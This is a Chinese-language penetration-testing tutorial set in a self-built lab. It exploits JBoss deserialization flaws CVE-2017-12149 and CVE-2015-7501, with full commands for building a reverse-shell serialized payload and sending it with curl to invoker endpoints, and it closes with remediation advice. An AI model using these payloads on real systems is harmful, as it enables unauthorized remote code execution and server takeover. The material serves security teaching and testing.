freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

    渗透测试之地基服务篇:服务攻防之中间件JBoss(上)
    2021-09-02 14:31:11

    系列文章

    专辑:渗透测试之地基篇

    简介

    渗透测试-地基篇

    该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

    请注意

    本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

    名言:

    你对这行的兴趣,决定你在这行的成就!

    一、前言

    中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。

    可想而知中间件连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,中间件的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的中间件中往往连接数据库,而数据库储存着等极其重要和敏感的信息。如果中间件被攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。

    通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

    今天会讲解到学习Jboss简介、JBoss安装、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)等渗透操作等,最后远程代码执行控制服务器等操作,如果连JBoss都不会安装操作提权等,怎么进行下一步的研究JBoss安全!怎么拿下对方服务器?

    二、Jboss简介

    JBoss是一个基于J2EE的开发源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。

    Jetty是一个开源的servlet容器,它为基于Java的web容器,例如JSP和servlet提供运行环境。Jetty是使用Java语言编写的,它的API以一组JAR包的形式发布。开发人员可以将Jetty容器实例化成一个对象,可以迅速为一些独立运行(stand-alone)的Java应用提供网络和web连接。

    默认端口:

    8080、9990
    

    三、JBoss安装

    下载地址:

    https://jbossas.jboss.org/downloads/
    

    1、安装JDK

    JBoss前提要安装Java环境,这里根据前几期也提过很多次安装方法了,这里就简写了,想非常详细的看前几期内容即可!
    1630564360_6130700849828895f0ad5.png!small?1630564361416

    2、下载并安装JBoss

    (1)下载jboss-6.1.0.Final:
    1630564365_6130700d3820efe11ba89.png!small?1630564367755

    (2)新建环境变量:

    JBOSS_HOME 值为:C:\jboss-6.1.0.Final
    

    1630564369_613070114fb6365d7507c.png!small?1630564372120

    在path中加入:

    ;%JBOSS_HOME%\bin;
    

    1630564373_6130701587d86bb09b56c.png!small?1630564374798

    (3)打开C:\jboss-6.1.0.Final\bin双击run.bat

    1630564377_61307019d204dfd2b2916.png!small?16305643845561630564381_6130701db022d10b3811c.png!small?1630564384556
    出现info消息,即配置成功!!

    (4)谨记

    注意JDK版本要在1.6~1.7之间,1.8版本 jBoss运行打开JMX Console会出现500错误:
    1630564386_613070223803226ff12cf.png!small?1630564386313
    jboss默认部署路径:

    C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war
    

    (5)设置外网访问

    将C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml修改配置:
    将address=”${jboss.bind.address}” 设置为address=”0.0.0.0”
    1630564390_61307026a06f26227e162.png!small?1630564395064

    并重启JBoss:关闭run.bat重新打开即可!

    1630564394_6130702a44daa69e696e6.png!small?1630564395064
    这时候就成功安装好了JBoss!

    四、JBoss渗透

    1、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)

    JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞危害程度为高危(High)!

    影响范围:JBoss 5.x/6.x

    1)验证是否存在漏洞

    访问 /invoker/readonly:
    1630564400_61307030063d74625b81f.png!small?1630564400788
    返回500,说明页面存在,此页面存在反序列化漏洞。

    2)配置javac环境

    首先找到JDK目录:
    1630564406_613070363cadbe34dce1f.png!small?1630564409122

    然后运行CMD窗口输入:

    set JAVA_HOME=C:\Program Files\Java\jdk1.7.0_80
    
    set classpath=C:\Program Files\Java\jdk1.7.0_80\lib\tools.jar;C:\Program Files\Java\jdk1.7.0_80\lib\dt.jar;
    
    set path=C:\Program Files\Java\jdk1.7.0_80\bin;
    

    1630564411_6130703bda247aaa8c78c.png!small?1630564412401
    windows但是报错了!!

    cd /opt
    curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
    tar zxvf jdk-8u20-linux-x64.tar.gz
    rm -rf /usr/bin/java*
    ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
    javac -version
    java -version
    

    1630564423_613070478d6d4a370a65d.png!small?16305644253501630564427_6130704b8f644055e8751.png!small?1630564429554

    配置好了java环境,为了是后期开启java监听。

    3)漏洞利用

    利用工具:JavaDeserH2HC
    1630564432_61307050ee7f5b7672800.png!small?1630564434912

    https://github.com/joaomatosf/JavaDeserH2HC
    

    我们选择一个Gadget:ReverseShellCommonsCollectionsHashMap,编译并生成序列化数据:

    (1)生成ReverseShellCommonsCollectionsHashMap.class

    javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
    


    1630564438_61307056c2ada7531d15e.png!small?1630564439172

    (2)生成ReverseShellCommonsCollectionsHashMap.ser

    java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.253.9:8888(ip是nc所在的ip)
    

    1630564454_613070669f325c70c3c0b.png!small?1630564455112

    (3)利用...Map.ser:

    curl http://192.168.253.89:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
    

    1630727238_6132ec46ce8f96cf199fa.png!small?1630727250089
    成功获得反弹shell控制对方系统!

    2、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

    由于JBoss中invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持Java反序列化!

    漏洞影响:
    Red Hat JBoss A-MQ 6.x版本;BPM Suite (BPMS) 6.x版本;BRMS 6.x版本和5.x版本;Data Grid (JDG) 6.x版本;Data Virtualization (JDV) 6.x版本和5.x版本;Enterprise Application Platform 6.x版本,5.x版本和4.3.x版本;Fuse 6.x版本;Fuse Service Works (FSW) 6.x版本;Operations Network (JBoss ON) 3.x版本;Portal 6.x版本;SOA Platform (SOA-P) 5.x版本;Web Server (JWS) 3.x版本;Red Hat OpenShift/xPAAS 3.x版本;Red Hat Subscription Asset Manager 1.3版本。

    1)验证漏洞

    访问 /invoker/JMXInvokerServlet
    

    返回如下,说明接口开放,此接口存在反序列化漏洞。
    1630727246_6132ec4ea138daf7e7dbc.png!small?1630727250089

    2)漏洞利用

    这里直接利用CVE-2017-12149生成的ser,发送到/invoker/JMXInvokerServlet接口中:

    curl http://192.168.253.89:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
    

    1630727252_6132ec54260be6c572498.png!small?1630727256803
    成功获得反弹shell控制对方系统!

    3)修复建议

    (1)不需要 http-invoker.sar 组件的用户可直接删除此组件。路径为:C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后访问404.
    1630727257_6132ec5918a765f0ba144.png!small?1630727259917

    (2)或添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:

    <url-pattern>/*</url-pattern>
    

    路径为:

    C:\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF
    

    1630727262_6132ec5e8fd8bd040936f.png!small?1630727266622

    有攻就有防,带给大家不同的思路和底层代码的见解,加油小伙伴们!

    五、总结

    今天学到了Jboss简介、JBoss安装、JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)等漏洞,最后远程代码执行控制服务器等操作,以及整改加固建议的方式方法,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!

    服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)......
    

    接下来在《服务攻防之中间件JBoss(中)》会接触到如何进行JBoss EJBInvokerServle 反序列化漏洞(CVE-2013-4810)、Administration Console 弱口令、低版本JMX Console未授权访问等渗透操作,如何提权渗透等方法,请看下篇服务攻防之中间件nginx篇中章!

    希望大家提高安全意识,没有网络安全就没有国家安全!

    今天基础牢固就到这里,虽然基础,但是必须牢记于心。

    作者:大余

    # 中间件
    本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
    被以下专辑收录,发现更多精彩内容
    + 收入我的专辑
    + 加入我的收藏
    相关推荐
    • 0 文章数
    • 0 关注者
    文章目录